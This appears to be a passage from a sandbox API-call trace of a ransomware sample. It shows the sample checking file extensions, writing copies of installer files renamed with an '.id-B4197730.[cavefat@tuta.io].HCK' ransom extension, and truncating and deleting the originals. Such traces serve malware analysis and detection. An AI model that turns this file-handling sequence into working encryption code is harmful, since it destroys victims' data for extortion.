(lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.061] lstrlenW (lpString=".doc") returned 4 [0149.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.061] lstrlenW (lpString=".docx") returned 5 [0149.061] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.062] lstrlenW (lpString=".pdf") returned 4 [0149.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".xls") returned 4 [0149.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".xlsx") returned 5 [0149.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.062] lstrlenW (lpString=".ppt") returned 4 [0149.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".zip") returned 4 [0149.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.062] lstrlenW (lpString=".rar") returned 4 [0149.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".bz2") returned 4 [0149.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".7z") returned 3 [0149.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".dbf") returned 4 [0149.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".1cd") returned 4 [0149.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".jpg") returned 4 [0149.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".doc") returned 4 [0149.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".docx") returned 5 [0149.062] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.062] lstrlenW (lpString=".pdf") returned 4 [0149.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".xls") returned 4 [0149.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".xlsx") returned 5 [0149.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.062] lstrlenW (lpString=".ppt") returned 4 [0149.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".zip") returned 4 [0149.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.062] lstrlenW (lpString=".rar") returned 4 [0149.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".bz2") returned 4 [0149.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.062] lstrlenW (lpString=".7z") returned 3 [0149.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.062] lstrlenW (lpString=".dbf") returned 4 [0149.063] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.063] lstrlenW (lpString=".1cd") returned 4 [0149.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.063] lstrlenW (lpString=".jpg") returned 4 [0149.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.063] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.063] lstrlenW (lpString="eula.rtf") returned 8 [0149.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.063] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3683) returned 1 [0149.063] CloseHandle (hObject=0x2ec) returned 1 [0149.063] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0149.063] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.063] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.063] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.064] GetLastError () returned 0x0 [0149.064] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xe63, lpOverlapped=0x0) returned 1 [0149.065] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe70, lpOverlapped=0x0) returned 1 [0149.066] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.066] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.066] SetEndOfFile (hFile=0x30c) returned 1 [0149.066] CloseHandle (hObject=0x30c) returned 1 [0149.066] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.066] SetEndOfFile (hFile=0x2ec) returned 1 [0149.067] CloseHandle (hObject=0x2ec) returned 1 [0149.067] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.067] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".doc") returned 4 [0149.068] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".docx") returned 5 [0149.068] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.068] lstrlenW (lpString=".pdf") returned 4 [0149.068] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".xls") returned 4 [0149.068] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.068] lstrlenW (lpString=".xlsx") returned 5 [0149.068] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.068] lstrlenW (lpString=".ppt") returned 4 [0149.068] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".zip") returned 4 [0149.068] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.068] lstrlenW (lpString=".rar") returned 4 [0149.068] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".bz2") returned 4 [0149.068] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".7z") returned 3 [0149.068] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".dbf") returned 4 [0149.068] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".1cd") returned 4 [0149.068] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".jpg") returned 4 [0149.068] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.068] lstrlenW (lpString=".doc") returned 4 [0149.068] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".docx") returned 5 [0149.068] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.068] lstrlenW (lpString=".pdf") returned 4 [0149.068] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.068] lstrlenW (lpString=".xls") returned 4 [0149.068] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.068] lstrlenW (lpString=".xlsx") returned 5 [0149.068] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.069] lstrlenW (lpString=".ppt") returned 4 [0149.069] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.069] lstrlenW (lpString=".zip") returned 4 [0149.069] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.069] lstrlenW (lpString=".rar") returned 4 [0149.069] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.069] lstrlenW (lpString=".bz2") returned 4 [0149.069] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.069] lstrlenW (lpString=".7z") returned 3 [0149.069] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.069] lstrlenW (lpString=".dbf") returned 4 [0149.069] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.069] lstrlenW (lpString=".1cd") returned 4 [0149.069] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0149.069] lstrlenW (lpString=".jpg") returned 4 [0149.069] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.069] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.069] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.069] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=80738) returned 1 [0149.069] CloseHandle (hObject=0x2ec) returned 1 [0149.069] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0149.069] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.069] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.070] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.070] GetLastError () returned 0x0 [0149.070] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0149.072] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0149.074] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.074] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.074] SetEndOfFile (hFile=0x30c) returned 1 [0149.074] CloseHandle (hObject=0x30c) returned 1 [0149.077] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.077] SetEndOfFile (hFile=0x2ec) returned 1 [0149.078] CloseHandle (hObject=0x2ec) returned 1 [0149.078] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.078] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0149.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.078] lstrlenW (lpString=".doc") returned 4 [0149.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.078] lstrlenW (lpString=".docx") returned 5 [0149.078] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.078] lstrlenW (lpString=".pdf") returned 4 [0149.079] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".xls") returned 4 [0149.079] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".xlsx") returned 5 [0149.079] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.079] lstrlenW (lpString=".ppt") returned 4 [0149.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".zip") returned 4 [0149.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.079] lstrlenW (lpString=".rar") returned 4 [0149.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".bz2") returned 4 [0149.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".7z") returned 3 [0149.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".dbf") returned 4 [0149.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".1cd") returned 4 [0149.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".jpg") returned 4 [0149.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".doc") returned 4 [0149.079] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".docx") returned 5 [0149.079] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.079] lstrlenW (lpString=".pdf") returned 4 [0149.079] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".xls") returned 4 [0149.079] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".xlsx") returned 5 [0149.079] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.079] lstrlenW (lpString=".ppt") returned 4 [0149.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".zip") returned 4 [0149.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.079] lstrlenW (lpString=".rar") returned 4 [0149.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".bz2") returned 4 [0149.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.079] lstrlenW (lpString=".7z") returned 3 [0149.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.079] lstrlenW (lpString=".dbf") returned 4 [0149.080] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.080] lstrlenW (lpString=".1cd") returned 4 [0149.080] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0149.080] lstrlenW (lpString=".jpg") returned 4 [0149.080] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.080] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.080] lstrlenW (lpString="eula.rtf") returned 8 [0149.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.080] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=54456) returned 1 [0149.080] CloseHandle (hObject=0x2ec) returned 1 [0149.080] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0149.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.081] GetLastError () returned 0x0 [0149.081] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0149.083] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0149.084] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.084] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.084] SetEndOfFile (hFile=0x30c) returned 1 [0149.085] CloseHandle (hObject=0x30c) returned 1 [0149.086] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.086] SetEndOfFile (hFile=0x2ec) returned 1 [0149.087] CloseHandle (hObject=0x2ec) returned 1 [0149.087] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.087] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".doc") returned 4 [0149.088] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".docx") returned 5 [0149.088] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.088] lstrlenW (lpString=".pdf") returned 4 [0149.088] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".xls") returned 4 [0149.088] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.088] lstrlenW (lpString=".xlsx") returned 5 [0149.088] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.088] lstrlenW (lpString=".ppt") returned 4 [0149.088] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".zip") returned 4 [0149.088] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.088] lstrlenW (lpString=".rar") returned 4 [0149.088] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".bz2") returned 4 [0149.088] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".7z") returned 3 [0149.088] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".dbf") returned 4 [0149.088] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".1cd") returned 4 [0149.088] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".jpg") returned 4 [0149.088] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0149.088] lstrlenW (lpString=".doc") returned 4 [0149.088] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".docx") returned 5 [0149.088] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.088] lstrlenW (lpString=".pdf") returned 4 [0149.088] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.088] lstrlenW (lpString=".xls") returned 4 [0149.088] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.088] lstrlenW (lpString=".xlsx") returned 5 [0149.088] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.088] lstrlenW (lpString=".ppt") returned 4 [0149.088] 